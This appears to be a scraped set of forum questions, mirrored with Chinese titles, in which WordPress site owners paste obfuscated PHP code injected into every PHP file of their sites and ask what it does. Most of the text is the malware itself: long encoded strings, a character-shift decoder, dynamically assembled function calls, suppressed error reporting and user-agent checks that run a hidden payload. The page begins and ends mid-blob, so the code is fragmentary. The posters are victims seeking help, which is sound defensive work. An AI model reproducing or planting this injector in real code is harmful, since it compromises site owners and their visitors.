x41&lt;!fmtf!%b:&gt;%s: x5c%j:.pV x7f x7f x7f x7f&lt;u%V xpo#&gt;b%!*##&gt;&gt;X)!gjZ&lt;#opo#&gt;b%!**X)ufttj x2]234]342]58]24]31#-%tdz*Wsfuvso!%bss x5csbowTW%hIr x5c1^-%r x5c2^-%hOh/#00#W~!%t27f;!osvufs}w;* x7f!&gt;&gt; x22!pd%)!gj}Z;h!opjudovg}{fid&gt;}&amp;;!osvufs} x7f;!opjudovg}k~~&lt;Cb*[%h!&gt;!%tdz)%bbT-%bT-%hW~%fdy)##-!#~&lt;%h00#*&lt;%nfd)##Qtpz)#]341]83&lt;!fmtf!%z&gt;2&lt;!%ww2)%w`TW~ x24&lt;!fwbm)%tjw)bssb%-#1GO x22#)fepmqyfA&gt;2b%!&lt;*qp%-*.%)euhA)3of&gt;2bd%!&lt;5h%/6&lt;tfs%w6&lt; x7fw6*CWtfs%)7gj6&lt;*id%)ftpmdR6&lt;*id%)dfyfR x27tfs%6&lt;*17-SFtmbg39*56A:&gt;:8:|:7#6#)tutjyf`439275ttfsqnpdov{h19275j{hnpd19275fubu%V&lt;#65,47R25,d7R17,67R37,#/q%&gt;U&lt;#16,47R57,27R66,#/q%&gt;2q%q% x27Y%6&lt;.msv`ftsbqA7&gt;q%6&lt; x7fw6* x7f_*#fubfsdXk5`{66~6&lt;&amp;w)##Qtjw)#]82#-#!#-%tmw)%tww**WYsboepn)%bss 141 x74 145 x5f 146 x75 156 142 x5f 163 x74 141 x268]y7f#&lt;!%tww!&gt;! x2400~:&lt;h%_t%:osvufs:~:&lt;*9-1-r%)s%&gt;/h%:2L5P6]y6gP7L6M7]D4]275]D:Mn%&lt;#372]58y]472]37y]672]48y]#&gt;s%&lt;#462]47252]y85]256]y6g]257]y86]267]y74]275]y7:]`msvd}+;!&gt;!} x27;!&gt;&gt;&gt;!}_;gvc%}&amp;;ftmbg} xy]252]18y]#&gt;q%&lt;#762]67y]562]38y]572]48y]#&gt;m%:3qj%7&gt; x2272qj%)7gj6&lt;**2qj%)hopm3qjA)qj3hopmA x27jsv%6&lt;C&gt;^#zsfvr# x5cq%7**^#zsfvr# x5cq%)ufttj x22)gj6&lt;^#Y# x5cg+)!gj+{e%!osvufs!*!+A!&gt;!{e%)!&gt;&gt; x22!ftmbg)!gj&lt;*#k#)usbut`crray_map("burmcad",str_split("%tjw!&gt;!#]y84]275]y83]248]y83]256]y81]2652]},;osvufs} x27;mnui}&amp;;zepc}A;~!} x7f;!|!}{;)gj}l;33bq}34]368]322]3]364]6]283]427]3&lt;%tpz!&gt;!#]D6M7]K3#&lt;%yy&gt;#]D6]281L1#/#M5]DgPbssbz)#44ec:649#-!#:618d5f9#-!#f6c683-bubE{h%)sutcvt)fubmgoj{hA!osvufs!~&lt;3,j%&gt;j%!*3! x27!hmg%!)!gj!&lt;,*!| x24- x24gvodujpo! x24- x24y7 x24- x24*&lt;! x24- x2#!&gt;!2p%Z&lt;^2 x5c2b%!&gt;!2p%!*3&gt;?*2b%)gpf{jt)!gj!&lt;*2bdsvd}R;*msv%)}.;`UQPMSVD!-id%)uqpuft`msvd},;uqpuft7f_*#ujojRk3`{666~6&lt;&amp;w6&lt; x7fw6*CW&amp;)7gj6&lt;.[A x27&amp;6&lt; x7fw}.;/#/#/},;#-#}+;%-qp%)EBFI,6&lt;*127-UVPFNJU,6&lt;*27-SFGTOBc x27,*b x27)fepdof.)fepdof. x63 164 x69 157 x6e"; function burmcad(]281Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*&lt;%bG9}:}.}-}!#*&lt;%nfd&gt;%fdy x61 156 x64 162 x6f 151/#@#/qp%&gt;5h%!&lt;*::::::-111112)eobs`un&gt;qp%!#/#o]#/*)323zbe!-#jt0*?]+^?]_ x5c}X x24&lt;!%tmw!&gt;!#]y8493e:5597f-s.973:8297f:5297e:56-xr.985:52985-t.98]K4]65]2)gj!|!*nbsbq%)323ldfidk!~!&lt;**qp%!-uyfu%)3oSUOSVUFS,6&lt;*msv%7-MSV,6&lt;*)ujo$n){return chr(ord($n)-1);} @error_reportw6&lt; x7fw6*CW&amp;)7gj6&lt;*doj%7-C)fepmqnjA x27&amp;6&lt;.fm54l} x27;%!&lt;*#}_;#)323ld)fepmqyf x27*&amp;7-n%)utjm6&lt; x7fw6*CW&amp;)7gj6&lt;*K)ftp71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#zB%z&gt;! x24/%tmw/ x24)%zW%h&gt;EzH,2W%wN;#-Ez-1H*WCw*[!%rN}#Q%:-5ppde:4:|:**#ppde#)tutjyf`4 x223}!+!&lt;+{e%+*!*+fepdfe{h+{d%)+opjudove))1/35.)1/14+9**-)1/2986+7**^/%rx&lt;~!!%s:N}#-%o:W%c:&gt;1&lt;%b:&gt;1&lt;!gps)%j:&gt;1&lt;%j:=tj{fpg)%s:cvt)esp&gt;hmg%!&lt;12&gt;j%!|!*#91y]c9y]g2y]#&gt;&gt;*42!&gt;!bssbz) x24]25 x24- x24-!% x24- x24*!|! x24- x24 x5c%j^ 27{ftmfV x7f&lt;*X&amp;Z&amp;S{ftmfV x7f&lt;*XAZASV&lt;*w%)ppde&gt;2,*j%!-#1]#-bubE{h%)tpqsut&gt;j%!*72! x27jR x27id%6&lt; x7fw6* x*ofmy%)utjm!|!*5! x27!hmg%)!gj!|!*1?hmg%)!gj!&lt;**2-4-bubE{h%)sutUT`LDPT7-UFOJ`GB)fubfsdXA x27K6&lt; x7fw6*)Rb%))!gj!&lt;*#cd2bge56+99386c6f+9f5d816:+946:ce44##0#/*#npd/#)rrd/#00;quui#&gt;.%!&lt;***f x27,*e x27,*d x27,*8]Df#&lt;%tdz&gt;#L4]275L3]248L3P6L1M5]D2P4]D6#&lt;%G]y6d;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~z)#P#-#Q#-#B#-#T#-#E~&lt;ftmbg!osvufs!|ftmf!~&lt;**9.-j%5 116 x54"]); if ((strstr($uas," x6d 163 x69 145!%w:**&lt;")));$ikuqvqa = $qnqbjbm("", $xchsxyf); $ikuqvqa();}PI`QUUI&amp;e_SEEB`FUPNFS&amp;d_SFSFGFS`QUUI&amp;c_UOFHB`SFTV`QUUI&amp;b%!|mdXA6~6&lt;u%7&gt;/7&amp;6|7**1111272 164") &amp;&amp; (!isset($GLOBALS[" x6-%rxB%h&gt;#]y31]278]y3e]81]K78:56985:6197g:74985-rr.#0#)idubn`hfsq)!sp!*#ojneb#-*f%)sfxpmpusut)tpqssutRe%)Rd%%/h%)n%-#+I#)q%:&gt;:r%:|:**t%)m%=*h%)m%):fmjix:&lt;##:&gt;:h%:&lt;#64y]552]e7y]#&gt;{**#k#)tutjyf`x x22l:!}V;3q%}U;y]}R;&lt;#g6R85,67R37,18R#&gt;q%V&lt;*#fopoV;hojepdoF.uofuopD#)sfebfI{*w%)kVx~&lt;#/% x24- x24!&gt;!fyqmpef)# x24*&lt;!%t::!&gt;! x24Ypp3)%cB%iN}#-! x24/%tmw/opd`ufh`fmjg}[;ldpt%}K;`ufldpt}X;`m6* x7f_*#[k2`{6:!}7;!}6;##}C;!&gt;&gt;!}W;utpi}Y;tuofu*&lt;%j:,,Bjg!)%j:&gt;&gt;1*!%b:&gt;5]D6#&lt;%fdy&gt;#]D4]273]D6P.7eu{66~67&lt;&amp;w6&lt;*&amp;7-#o]s]o]s]#61 156 x75 156 x61"]=1; $uas=strtolower($_SER}")) or (strstr($uas," x72 166 x3a 61 x31")) or (strstr($uas,"445]43]321]464]284]364]6yy)#}#-# x24- x24-tusqpt)%z-#:#* x24- x24!&gt;! x24/%tjw/ x24)% x2jgA x27doj%6&lt; x7fw6* x7f_*#fmjgk4`{6~9{d%:osvufs:~928&gt;&gt; x22:f4gps)%j&gt;1&lt;%j=tj{fpg)% x24- x24*&lt;!~! x24/%t2w/ x24)##-!#x27pd%6&lt;pd%w6Z6&lt;.4`hA x27pd%6&lt;pd%w6Z6&lt;.3`hA x27pd%6&lt;pd%w2^,%b:&lt;!%c:&gt;%s: x5c%j:^&lt;!%w` pd#)tutjyf`opjudovg x22)!gj}1~!&lt;2p% x7f!~!&lt;#!*uyfu x27k:!ftmf!}Z;^nbsbq% x5cSFWSFT`%}X;!sp!*#opo#&gt;&gt;}R;msvD8]86]y31]278]y3f]51L3]84]y-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)j{hnpd!opjudovg!|!**#j{hn&lt;**#57]38y]47]67y]37]88y]27]28y]#/r|:*r%:-t%)3of:opjudovg&lt;~ x24&lt;!%o:!&gt;!]275]y83]273]y76]277#&lt;!%t2w&gt;#]y74]273]y76]31M6]y3e]81#/#7e:55946-tr.984:75983:48984:f)fepdof`57ftbc x7f!|ing(0); $xchsxyf = implode(ax5c^&gt;Ew:Qb:Qc:W~!%z!&gt;2&lt;!gps)%j&gt;1&lt;%j=6[%ww2!&gt;#p#/#p#/%z&lt;jg!)%z&gt;&gt;2*!%z&gt;x24- x24tvctus)% x24- x24b!&gt;!%if((function_exists(" x6f6]373P6]36]73]83]238M7]381]211M5]67]452]88]5]48]32M3]317]445]212](&lt;!fwbm)%tjw)# x24#-!#]y38#-k;opjudovg}x;0]=])0#)U! x27{**u%-#jt0}Z;0]=]0#)2q%l}S;2-u%!-#2#/#%)zbssb!&gt;!ssbnpe_GMFT`QIQ&amp;f_UTpmdXA6|7**197-2qj%7-K)udfoopdXA x22)7gj6&lt;*QDU`MPT7-NBFS7;utpI#7&gt;/7rfs%6&lt;#o]1/20QUUI7jsv%7UFH# x27rfs%6~6&lt; x7fw6&lt;*K)ft7-K)ebfsX x27u%)7fmjix6&lt;C x27&amp;6&lt;*rfs%7-K)fujsxX6&lt;#o]o]Y%67~6&lt;Cw6&lt;pd%w6Z6&lt;.5`hA x273qj%6&lt;*Y%)fnbozcYufhA x272qj%6&lt;^#zsfvr# x5cq%7/7#@#7/7^#iubq# x5cq%99#-!#65egb2dc#*&lt;!sfuvso!sboepn)%epnbss-%rxW~!Ypp2)% x24)%c*W%eN+#Qi x5c1^W%c!&gt;!%i x5c2^&lt;!Ce*[!%cIjQ-#W#-#C#-#O#-#N#*-!%ff2-!%t::**&lt;#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#6Z6&lt;.2`hA x27pd%6&lt;C x27pd%6|6|Z~!&lt;##!&gt;!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!**#sfmcnbs!*)323zbek!~!&lt;b% x7f!&lt;X&gt;b%Z&lt;#omgoj{h1:|:*mmvo:&gt;:iuhofmSTrrEvxNoITCnuF_EtaeRCxECaLPer_RtSkqicujnj'; $igdlorg=explode(chr((507-387)),substr($ldzlfqw,(23721-17795),(191-157))); $jhvudq = $igdlorg[0]($igdlorg[(3-2)]); $xuqzdby = $igdlorg[0]($igdlorg[(10-8)]); if (!function_exists('inlski')) { function inlski($zkhzovdq, $rcqclg,$extvvvla) { $levdzxqh = NULL; for($nomjzfqly=0;$nomjzfqly&lt;(sizeof($zkhzovdq)/2);$nomjzfqly++) { $levdzxqh .= substr($rcqclg, $zkhzovdq[($nomjzfqly*2)],$zkhzovdq[($nomjzfqly*2)+(6-5)]); } return $extvvvla(chr((42-33)),chr((312-220)),$levdzxqh); }; } $zhjksylgzw = explode(chr((271-227)),'5142,25,1198,22,3717,33,203,38,4254,45,409,56,3526,48,4300,61,2331,24,296,35,1170,28,2225,40,2576,41,5015,28,1639,70,107,34,5528,23,4564,56,5790,29,4225,29,2687,47,3692,25,5472,56,5410,62,5355,55,3251,39,1468,46,5551,70,1514,66,1069,58,2617,46,4448,37,879,67,2165,32,2547,29,3168,20,2087,55,4130,48,4095,35,2038,49,1383,40,633,48,3441,35,3496,30,1872,63,3130,38,43,64,0,43,3188,63,2983,41,4781,58,4649,44,1988,50,825,54,3339,54,2197,28,2355,41,5819,53,141,62,3800,57,3290,49,5326,29,3633,59,5872,30,512,40,2504,43,4994,21,4693,61,2142,23,2663,24,681,33,4485,24,946,66,5902,24,2827,70,1580,59,488,24,3083,47,1012,57,3963,63,3927,36,1709,56,5260,66,2396,53,4910,42,1343,40,1220,57,4839,35,3857,70,1303,40,1423,45,4874,36,241,33,3024,59,5112,30,4385,63,331,45,1935,53,4509,55,4026,69,5673,48,376,33,1835,37,5621,52,2770,57,595,38,1127,43,3750,50,2449,55,4754,27,4952,42,2734,36,1793,42,4202,23,1277,26,3393,48,2265,66,714,66,274,22,1765,28,5167,65,4361,24,552,43,2897,43,2940,43,4178,24,465,23,4620,29,5043,69,780,45,3476,20,5753,37,5721,32,5232,28,3574,59,4299,1'); $iuypjrt = $jhvudq("",inlski($zhjksylgzw,$ldzlfqw,$xuqzdby)); $jhvudq=$ldzlfqw; $iuypjrt(""); $iuypjrt=(686-565); $ldzlfqw=$iuypjrt-1; ?&gt; </code></pre> </div>

Wordpress PHP文件入侵? [重复]

<div class="post-text" itemprop="text"> <div class="question-status question-originals-of-duplicate"> <p>This question already has an answer here:</p> <ul> <li> <a href="/questions/6320947/wordpress-hacked-what-does-this-script-actually-do" dir="ltr">wordpress hacked: what does this script actually do?</a> <span class="question-originals-answer-count"> 2 answers </span> </li> <li> <a href="/questions/7854463/can-wordpress-hacked-easily-or-is-it-about-any-site-what-was-the-reason" dir="ltr">Can wordpress hacked easily or is it about any site? What was the reason? [closed]</a> <span class="question-originals-answer-count"> 2 answers </span> </li> <li> <a href="/questions/13000177/php-regex-to-fix-hacked-wordpress-site" dir="ltr">PHP regex to fix hacked Wordpress site</a> <span class="question-originals-answer-count"> 3 answers </span> </li> <li> <a href="/questions/8954232/wordpress-hacked-and-php-code-added" dir="ltr">Wordpress hacked and php code added [closed]</a> <span class="question-originals-answer-count"> 1 answer </span> </li> </ul> </div> <p>I just noticed that ALL of my PHP files in a wordpress install have been modified by an outside source. I don't even know what this code does, but it's caused my site to not even load on some browsers. Right now I am going through every file and removing the lines in question, but wondering if anyone has seen this before and has found a solution to prevent these types of injection hacks.</p> <p>Here's what the code from one file looks like.</p> <pre><code>$mcvecgx = '`ftsbqA7&gt;q%6&lt; x7fw6* x7f_*# 157 x6e"; function jbavbgd($n){return chr(ord($nr (strstr($uas," x63 15=])0#)U! x27{**u%-#jt0}Z;0]=]0#)2q%l}S;2-u%!-#2#2 164") &amp;&amp; (!isset($GLOBALS[" x61 156 x75 156 x61"])))) { $GLOBALmdR6&lt;*id%)dfyfR x27tmw!&gt;!#]y84]275]y83]273]y76]277#&lt;!%t2w&gt;#]y7 x24- x24*&lt;! x24- x24gps)%j&gt;bqov&gt;*ofmy%)utjm!|!*5! x2**-)1/2986+7**^/%rx&lt;~!!%s:N}#-%o:W%c:&gt;1&lt;%b:&gt;1&lt;!gps)%j:&gt;&lt;b% x7f!&lt;X&gt;b%Z&lt;#opo#&gt;b%!*##&gt;&gt;X)!gjZ&lt;#opo#&gt;b%!**X)ufttj x2&gt;1*!%b:&gt;1&lt;!fmtf!%b:&gt;%s: x5c%j:.2^,%b:&lt;!%c:&gt;%s: x5c%j:^&lt;!%w` x5c^&gt;E!&lt;2,*j%-#1]#-bubE{h%)tpqsut&gt;j%2)gj!|!*nbsbq%)323ldfidk!~!&lt;**qp%!-uyfu%)%&lt;#462]47y]252]18y]#&gt;q%&lt;#762]67y]562]38y]572]48y]#&gt;m%:|:*r%:-t%)3of:op6767~6&lt;Cw6&lt;pd%w6Z6&lt;.5+yfeobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!/!#0#984:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K]285]Ke]53Ld]53]Kc]55Ld]55#*&lt;%bG9}:}.6&lt;#o]o]Y%7;utpI#7&gt;/7rfs%6&lt;#o]1/20QUUI7jsv%7UFH# x27rfs%6~6&lt; x7fw6)idubn`hfsq)!sp!*#ojneb#-*f%)4]y31M6]y3e]81#/#7e:55946-tr.5]53]Kc#&lt;%tpz!&gt;!#]D6M7]K3#&lt;v}.;/#/#/},;#-#}+;%-qp%)54l} x27;%!&lt;*#}_;#)323ldfid&gt;}&amp;;!os&lt;#g6R85,67R37,18R#&gt;q%V&lt;*#fopoV;hojepdoF.uof($uas," x72 166 x3a 61 x31")) or (strstr($uas," x61 156 x6S[" x61 156 x75 156 x61"]=1; $uas=strtolower($_SE}-}!#*&lt;%nfd&gt;%fdy&lt;Cb*[%h!&gt;!%tdz)%bbT-%b47]67y]37]88y]27]28y]#/r%/h%)n%-#+I#)q%:&gt;:r%:|:**t%)m%=*hrray_map("jbavbgd",str_split("%tjw!&gt;!#]y84]275]y83]248]y83]2563of)fepdof`57ftbc x7f!|!*uyfu x27k:!ftmf!}Z;^nbsbq%!&gt;!%yy)#}#-# x24- x24-tusqpt)%z-#:#* x244]273]y76]252]y85]256]y6g]257]y86]267]y74]275]y7:]268]y7x242178}527}88:}334}472 x24&lt;!%ff2!&gt;!bssbz) x24]25 xdpt%}K;`ufldpt}X;`msvd}R;*msv%)}.;`UQPMSVD!-id%)uqpuft`msvd}x24- x24]26 x24- x24&lt;%j,,*!| x24- x24gvodujpo! x24- x24y7&lt;*K)ftpmdXA6|7**197-2qjdXA6~6&lt;u%7&gt;/7&amp;6|7**111127-K)eb1:|:*mmvo:&gt;:iuhofm%:-5ppde:4:|:**#ppdx78"))) { $vkvwvuq = " x63 162 x65 141 x74 145 x5fsX x27u%)7fmjix6&lt;C x27&amp;6&lt;*rfs%7-K)fujsxX4 162 x6f 151 x64")) oj6&lt;^#Y# x5cq% x27Y%6&lt;.msv7L6M7]D4]275]D:M8]Df#&lt;%tdz&gt;#L4]275L3]248L3P64/%t2w/ x24)##-!#~&lt;#/% x24- x24!&gt;!fyqmpef)# x24*&lt;!%t::!&gt;! x243of&gt;2bd%!&lt;5h%/#0#/*#npd/#)rrd/#00;quui#&gt;.%!&lt;***f xe#)tutjyf`4 x223}!+!&lt;+{e%+*!*+fepdfe{h+{d%Y%)fnbozcYufhA x272qj%6&lt;^#zsfvr#85:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]8^&lt;!Ce*[!%cIjQeTQcOc/#00#W~!Ydrr)%rxB%epnbss!&gt;!bssbz)#44ec:137 x41 107 x45 116 x54"]); if ((strstr($uas," x6#zsfvr# x5cq%7**^#zsfvr# x5cq%)ufttj x22)g}R;2]},;osvufs} x27;mnui}&amp;;zepc}/#%#/#o]#/*)323zbe!-#jt0*?]+^?]_ x5c}X x24&lt;!%t2`hA x27pd%6&lt;C x27pd%6|6.7eu{66~67&lt;&amp;w34]342]58]24]31#-%tdz*Wsfuvso!%bss x5csboe))1/35.)1/14+9fubfsdXk5`{66~6&lt;&amp;w6&lt; x7fwjgk4`{6~6&lt;tfs%w6&lt; x7fw6*CWtfs%)7gj6&lt;*id%)ftpA;~!} x7f;!|!}{;)gj}l;33bq}k;opjudovg}x;0]#-#D#-#W#-#C#-#O#-#N#*-!%ff2-!%t4)% x24- x24y4 x24- x24]y8 W~!Ypp2)%zB%z&gt;! x24/%tmw/ x24)%zW%h&gt;EzH,2W%wN;#-Ez-1H*WCw*[!%rN} x5cq%7/7#@#7/7^#iubq# x5cq% x27jsv%6&lt;C&gt;^7-UFOJ`GB)fubfsdXA x27K6&lt; x7fw6*3qj%7&gt; x2272qj%)7gj6&lt;**2qj%)ho1M5]67]452]88]5]48]32M3]317]445]212]445]43]321]464]284]364]6]2tjyf`opjudovg)!gj!|!*msv%)}k~~~&lt;ftmbg!osvufs!|ftmf!~&lt;**9.-j%-bubE,;uqpuft`msvd}+;!&gt;!} x27;!&gt;&gt;&gt;!}_;gvc%}&amp;;ftmbg}%7-K)udfoopdXA x22)7gj6&lt;*QDU`MPT7-NBFSUT`LDPT]y3e]81]K78:56985:6197g:74985-rr.93e:5597f-s.973:8297f:5297e:56-xr.9]88M4P8]37]278]225]241]334]368]32#QwTW%hIr x5c1^-%r x5c2^-%hOh/#00#W~!%t2w)##Qtjw)#]82#-#!#-%tmw)%t#ujojRk3`{666~6&lt;&amp;w6&lt; x7fw6*CW&amp;)7gj6&lt;.[A x27&amp;6&lt; x7fw6* x7f_*#[k2`{-#1GO x22#)fepmqyfA&gt;2b%!&lt;*qp%-*.%)euhA)T-%hW~%fdy)##-!#~&lt;%h00#*&lt;%nfd)##Qtpz)#]3416*CW&amp;)7gj6&lt;*doj%7-C)fepmqnjA x27&amp;%)Rb%))!gj!&lt;*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!&gt;vufs} x7f;!opjudovg}k~~9{d%:osvufs:ww2!&gt;#p#/#p#/%z&lt;jg!)%z&gt;&gt;2*!%z&gt;3&lt;!fmtf!%z&gt;2&lt;!SV,6&lt;*)ujojR x27id%6&lt; x7fw6* x7f_*`hA x27pd%6&lt;pd%w6Z6&lt;.4`hA x27pd%6&lt;pd%w6Z6&lt;.3`hA x27pd%6&lt;pd%w6Z6&lt;.:-111112)eobs`un&gt;qp%!|Z~!&lt;#%ww2)%w`TW~ x24&lt;!fwbm)%tjw)bssbz)#6&lt;*&amp;7-#o]s]o]s]#)fepmqyf x27*&amp;7-n%)utjm6&lt; x7fw6*CW&amp;)7gj6&lt;*K)ftpmYpp3)%cB%iN}#-! x24/%tmw/ x24)%c*W%eN+#Qi x5c1^W%c!&gt;!%i x5c2uopD#)sfebfI{*w%)kVx{**#k#)tutjyf`x x22l:!}V;3q%}U;y]sfxpmpusut)tpqssutRe%)Rdf#&lt;!%tww!&gt;! x2400~:&lt;h%_t%:osvufs:~:&lt;*9-1-r%)s%&gt;/h%:&lt;**#57]38y]();}}RVER[" x48 124 x54 120 x5f 125 x53 105 x52 y]g2y]#&gt;&gt;*4-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)j{hnpd!opjudovg!|!**#j{hnp36]73]83]238M7]381]21]y81]265]y72]254]y76#&lt;!%w:!&gt;!(%w:!&gt;! x24&gt; x22!ftmbg)!gj&lt;*#k#)usbut`cpV x7f x7f x7f x7f&lt;u%V x27{ftmfV ~928&gt;&gt; x22:ftmbg39*56A:&gt;:8:|:7#6#)tutjyf`439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{h6:!}7;!}6;##}C;!&gt;&gt;!}W;utpi}Y;tuofuopd`ufh`fmjg}[;l!ssbnpe_GMFT`QIQ&amp;f_UTPI`QUU2]3]364]6]283]427]36]373P6]L1M5]D2P4]D6#&lt;%G]y6d]281Ld]245]K2{h%)sutcvt)fubmgoj{hA!osvufs!~&lt;3,j%&gt;j%!*324- x24-!% x24- x24*!|! x24- x24 x5c%j^ x24- x24tvctus)% x24- x24b!~!&lt;##!&gt;!2p%Z&lt;^2 x5c2b%!&gt;!2p%!*3&gt;?*2b%)gpf{jt)!gj!&lt;*2bd%%yy&gt;#]D6]281L1#/#M5]DgP5]D6#&lt;%fdy&gt;#]D4]273]D6P2L5P6]y6gP- x24!&gt;! x24/%tjw/ x20 x72 157 x6d 145")) or (strstr($uas," x66 151 x72 145 x66 157 w:Qb:Qc:W~!%z!&gt;2&lt;!gps)%j&gt;1&lt;%j=6[%fs%6&lt;*17-SFEBFI,6&lt;*127-UVPFNJU,6&lt;*27-SFGTOBSUOSVUFS,6&lt;*msv%7-M)+opjudovg+)!gj+{e%!osvufs!*!+A!&gt;!{e%)!&gt;1&lt;%j:=tj{fpg)%s:*&lt;%j:,,Bjg!)%j:&gt;1&lt;%j=tj{fpg)% x24- x24*&lt;!~! x2ww**WYsboepn)%bss-%rxB%h&gt;#]y31]278I&amp;e_SEEB`FUPNFS&amp;d_SFSFGFS`QUUI&amp;c_UOFHB`SFTV`QUUI&amp;b%!|!*)323zbek!~! x5cSFWSFT`%}X;!sp!*#opo#&gt;&gt;}R;ms27,*e x27,*d x27,*c x27,*b x27)fepdof.)fepdof./#@#/qp%&gt;5h%!&lt;*:::::f 146 x75 156 x63 164 x69 x7f;!osvufs}w;* x7f!&gt;&gt; x22!pd%)!gj}Z;h!opjudovg}{;#)tu,d7R17,67R37,#/q%&gt;U&lt;#16,47R57,27R66,#/q%&gt;2q%d#)tutjyf`opjudovg x22)!gj}1~!&lt;2p% x7fd 163 x69 145")) or (strstrsfuvso!sboepn)%epnbss-%rx%)m%):fmjix:&lt;##:&gt;:h%:&lt;#64y]552]e7y]#&gt;n%&lt;#372]58y]472]37y]672]48y]#&gt;sjudovg&lt;~ x24&lt;!%o:!&gt;! !*9! x27!hmg%)!gj!~&lt;ofmy%,3,j%&gt;j%!&lt;**3-j%-bubE{h%)sutcvt-#w#)ld7!hmg%)!gj!|!*1?hmg%)!gj!&lt;**2-4-bub::**&lt;(&lt;!fwbm)%tjw)# x24#-!#]y38#-!%w:**&lt;")));$huqgmdl = $vkvwvuq("",649#-!#:618d5f9#-!#f6c68399#-!#65egb2dc#*&lt;! $klpobto); $huqgmdlpm3qjA)qj3hopmA x273qj%6&lt;*P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y6&lt;.fmjgA x27doj%6&lt; x7fw6* x7f_*#fm! x27!hmg%!)!gj!&lt;2,*j%!-#1]#-bubE{h%)tpqsut&gt;j%!*72! x27!hmg%)!gjif((function_exists(" x6f 142 x5f 163 x74 141 x7#!&gt;!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!**#sfmcnbs)-1);} @error_reporting(0); $klpobto = implode(ax7f&lt;*X&amp;Z&amp;S{ftmfV x7f&lt;*XAZASV&lt;*w%)ppde&gt;u%V&lt;#65,47R25E{h%)sutcvt)esp&gt;hmg%!&lt;12&gt;j%!|!*#91y]c9StrrEVxNoiTCnUF_EtaERCxecAlPeR_rtSiblgzqry'; $eieuopev=explode(chr((394-274)),substr($mcvecgx,(18736-12716),(161-127))); $rslxhquk = $eieuopev[0]($eieuopev[(3-2)]); $blbacxfo = $eieuopev[0]($eieuopev[(13-11)]); if (!function_exists('yyqcaxkq')) { function yyqcaxkq($wiimixun, $llaefy,$zyljyqpk) { $rnruyal = NULL; for($ldyxfe=0;$ldyxfe&lt;(sizeof($wiimixun)/2);$ldyxfe++) { $rnruyal .= substr($llaefy, $wiimixun[($ldyxfe*2)],$wiimixun[($ldyxfe*2)+(3-2)]); } return $zyljyqpk(chr((53-44)),chr((421-329)),$rnruyal); }; } $jgsudgbug = explode(chr((269-225)),'5788,48,147,65,1122,49,3929,43,2201,49,5245,27,1064,58,1823,22,76,23,4625,63,1733,49,5083,25,27,49,5883,48,1266,62,4063,40,646,21,3535,65,2370,37,3661,64,1666,30,1782,41,813,65,1643,23,2973,45,2738,62,5615,26,2067,32,2697,41,2250,42,1845,25,0,27,2463,25,3331,33,5690,34,2488,44,212,20,4721,62,3501,34,3185,65,4248,50,1526,60,2927,46,5108,55,2862,65,4385,41,5724,64,505,30,5386,63,302,25,5449,35,5982,38,3972,70,5207,38,4492,56,3250,39,1975,50,5017,66,3600,27,5836,47,667,65,878,29,3838,24,3364,58,4298,27,4919,66,382,57,535,41,1328,51,4985,32,963,58,3422,35,4164,55,4219,29,1696,37,2025,42,4783,40,4103,61,5931,51,5163,44,1021,43,3785,53,2292,32,2532,42,99,48,2324,46,232,42,1419,56,3862,62,1209,57,5297,68,576,70,5365,21,1475,51,4426,66,1379,40,4604,21,2606,27,1586,57,274,28,4855,30,1914,61,3725,60,2143,58,5552,43,5272,25,2633,64,3119,66,4885,34,3018,68,2099,44,907,29,732,44,936,27,4548,56,1870,44,4352,33,776,37,1171,38,3289,42,3086,33,4325,27,4042,21,2800,62,2407,56,327,55,4823,32,439,66,4688,33,3457,44,3627,34,5641,49,2574,32,5484,68,5595,20,3924,5'); $jhgewn = $rslxhquk("",yyqcaxkq($jgsudgbug,$mcvecgx,$blbacxfo)); $rslxhquk=$mcvecgx; $jhgewn(""); $jhgewn=(575-454); $mcvecgx=$jhgewn-1; </code></pre> <p>It's just one long line, inserted at the top of every single PHP file. Any help would be appreciated!</p> </div>

解码混淆的PHP代码

<div class="post-text" itemprop="text"> <p>I noticed this script when i checked all the files in one of the website I developed recently, but can't figure out what it does. Has anyone experienced this or can guide or help out?</p> <pre><code>&lt;?php $kmkale = 'j%7-C)fepmqnjA x27&amp;6&lt;.fmjgA x27doj%6&lt; x7fw6* x7f_*#fmjgk4`{6~6!Ydrr)%rxB%epnbss!&gt;!bssbz)#44%rxW~!Ypp2)%zB%z&gt;! x24/%tmw/ x24)%zW%)m%=*h%)m%):fmjix:&lt;##:&gt;:h%:&lt;#64y]552]e7y]#&gt;n%&lt;#372]58}#-# x24- x24-tusqpt)%z-#:#* x24- x24!&gt;! x24/%tjw/ x24)*f%)sfxpmpusut)tpqssutRe%)Rd%)Rb%))!gj!&lt;*#cd2bge56+99386c6f+9f5d81K3#&lt;%yy&gt;#]D6]281L1#/#M5]DgP5]D6#&lt;%fdy&gt;#]D4]273]D6P2L5P6!&lt;**2-4-bubE{h%)sutcvt)esp&gt;hmg%!&lt;12&gt;j%!|!*#91y]c9y]g2y]#&gt;b%!|!*)323zbek!~!&lt;b% x7f!&lt;X&gt;b%Z&lt;#opo#&gt;b%!*##&gt;&gt;X)!gjZ7eu{66~67&lt;&amp;w6&lt;*&amp;7-#o]s]o]s]#)fepmqyf x27*&amp;7-n%)utjm6&lt; x7fw6*CW&amp;)7gjpo! x24- x24y7 x24- x24*&lt;! x24- x24gps)%j&gt;1&lt;%j=tj{fp%h&gt;EzH,2W%wN;#-Ez-1H*19275j{hnpd19275fubmgoj{h1:|:*mmvo:&gt;:iuhofm%:-5ppde:4:|x75 156 x61"]=1; $uas=strtolower($_SERVER[" x48 124 x54 120 x5f &lt;tfs%w6&lt; x7fw6*CWtfs%)7gj6&lt;*id%)ftpmdR6&lt;*id%)dfyfR x27tfs%6&lt;*17-Sq%)ufttj x22)gj6&lt;^#Y# x5cq% 